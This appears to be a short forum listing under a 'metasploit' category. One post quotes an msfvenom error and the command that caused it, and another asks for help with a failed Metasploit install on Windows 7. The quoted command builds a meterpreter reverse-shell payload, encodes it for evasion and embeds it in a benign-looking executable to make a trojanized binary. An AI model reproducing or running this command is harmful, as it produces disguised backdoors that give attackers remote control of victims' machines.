Category "metasploit"

ERROR: you must select an arch for a custom payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=8080 -a x86 R |msfvenom -e -t exe -x minipad.exe -k -o minipad123.exe -e x86/shikata_ga_na

Trying to install metasploit

Trying to install metasploit. I do bundle install and I get this I don't get it I have tried everything. I am using Windows 7 X64 on a ThinkCentre Edge92z Touch